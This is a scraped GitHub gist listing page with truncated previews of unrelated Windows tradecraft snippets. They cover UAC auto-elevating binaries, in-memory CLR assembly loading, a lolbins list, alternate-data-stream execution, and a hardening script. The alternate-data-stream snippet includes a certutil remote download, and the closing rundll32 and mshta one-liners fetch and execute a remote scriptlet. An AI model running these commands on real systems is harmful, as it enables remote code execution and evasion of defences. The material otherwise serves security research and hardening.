Skip to content

Instantly share code, notes, and snippets.

@TheWover
TheWover / autoelevate-1903.txt
Last active May 20, 2024 16:20
Non-exhaustive list of auto-elevating applications in Windows 10.
Reference: https://www.researchgate.net/publication/319454675_Testing_UAC_on_Windows_10
Get-ChildItem "C:\Windows\System32\*.exe" | Select-String -pattern "<autoElevate>true</autoElevate>"
C:\Windows\System32\bthudtask.exe:78: <autoElevate>true</autoElevate>
C:\Windows\System32\changepk.exe:194: <autoElevate>true</autoElevate>
C:\Windows\System32\ComputerDefaults.exe:308: <autoElevate>true</autoElevate>
C:\Windows\System32\dccw.exe:464: <autoElevate>true</autoElevate>
using System;
using System.IO;
using System.Net;
using System.Diagnostics;
using System.IO.Compression;
using System.Runtime.InteropServices;
public class Payload
{
public Payload()
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace BlockDllTest
{
class Program
{
static void Main(string[] args)
{
@Arno0x
Arno0x / TestAssembly.cs
Last active September 12, 2025 14:16
This code shows how to load a CLR in an unmanaged process, then load an assembly from memory (not from a file) and execute a method
/*
================================ Compile as a .Net DLL ==============================
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:TestAssembly.dll TestAssembly.cs
*/
using System.Windows.Forms;
namespace TestNamespace
@MHaggis
MHaggis / lolbins.json
Last active June 26, 2019 01:32
lolbins
{
"Powershell": {
"process_name": ["powershell.exe"]
},
"Utilman": {
"process_name": ["utilman.exe"]
},
"msiexec": {
"process_name": ["msiexec.exe"]
},
@mrpapercut
mrpapercut / 01.Callable_COM_Objects.txt
Last active September 29, 2023 13:22
Callable & uncallable COMObjects in wscript/cscript
// The following COMobjects are all callable in cscript with WScript.CreateObject(COMObject)
ADODB.Command is callable!
ADODB.Command.6.0 is callable!
ADODB.Connection is callable!
ADODB.Connection.6.0 is callable!
ADODB.Error is callable!
ADODB.Error.6.0 is callable!
ADODB.Parameter is callable!
ADODB.Parameter.6.0 is callable!
ADODB.Record is callable!
@ricardojba
ricardojba / windows_hardening.cmd
Last active October 5, 2025 13:11
A Windows hardening script
::##########################################################################################################################
::
:: This script can ruin your day, if you run it without fully understanding what it does, you don't know what you are doing,
::
:: OR BOTH!!!
::
:: YOU HAVE BEEN WARNED!!!!!!!!!!
::
:: This script is provided "AS IS" with no warranties, and confers no rights.
:: Feel free to challenge me, disagree with me, or tell me I'm completely nuts in the comments section,
@api0cradle
api0cradle / Exe_ADS_Methods.md
Last active October 8, 2025 08:06
Execute from Alternate Streams

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

@gabemarshall
gabemarshall / jscript.ps1
Created January 3, 2018 15:30
Executing JScript from Powershell via .NET reflection
[Reflection.Assembly]::LoadWithPartialName('Microsoft.JScript');
$js = 'var js = new ActiveXObject("WScript.Shell");js.Run("calc");'
[Microsoft.JScript.Eval]::JScriptEvaluate($js,[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine());
xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}
verclsid.exe /S /C {00000001-0000-0000-0000-0000FEEDACDC}
create new folder and rename file.{00000001-0000-0000-0000-0000FEEDACDC}
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";o=GetObject("script:https://gist.githubusercontent.com/NickTyrer/0598b60112eaafe6d07789f7964290d5/raw/7717cfad109fc15a6796dd9119b0267f7a4df3fd/power.sct");close();
mshta javascript:o=GetObject("script:https://gist.githubusercontent.com/NickTyrer/0598b60112eaafe6d07789f7964290d5/raw/7717cfad109fc15a6796dd9119b0267f7a4df3fd/power.sct");o.Exec();close();